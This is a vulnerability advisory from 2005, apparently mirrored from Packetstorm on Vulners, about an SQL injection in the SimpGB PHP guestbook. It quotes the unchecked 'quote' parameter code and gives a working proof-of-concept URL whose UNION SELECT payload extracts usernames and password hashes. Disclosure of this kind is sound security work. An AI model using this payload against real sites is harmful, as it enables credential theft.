Lucene search
K

simpgbSQL.txt

🗓️ 17 Mar 2005 00:00:00Reported by visusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

SimpGB guestbook PHP vulnerability allows database exploitation to access user data.

Code
`Hi,  
  
The PHP guestbook SimpGB [1], written by Boesch IT-Consulting [2] can be   
exploited to gain  
userdata. The quote variable isn't checked carefully in   
simpgb/include/gb_new.inc called  
by guestbook.php.  
I wrote a proof of concept which shows a md5 hash and the username, read   
from the database.  
  
simpgb/include/gb_new.inc:  
  
50: if(isset($quote) && ($quote))  
51: {  
52: $sql = "select * from ".$tableprefix."_data where entrynr=$quote";  
53: if(!$result = mysql_query($sql, $db))  
54: die("Unable to connect to database.".mysql_error());  
  
PoC:  
  
http://[whereever the guestbook is]/simpgb/guestbook.php?lang=de&mode=new  
&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0  
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201  
  
The developer has been informed.  
  
[1] http://www.boesch-it.de/sw/php-scripts/simpgb/english/download.php  
[2] http://www.boesch-it.de  
  
Greets to neonomicus who helped me getting the database structure of SimpGB.  
  
visus  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2005 00:00Current
7.4High risk
Vulners AI Score7.4
33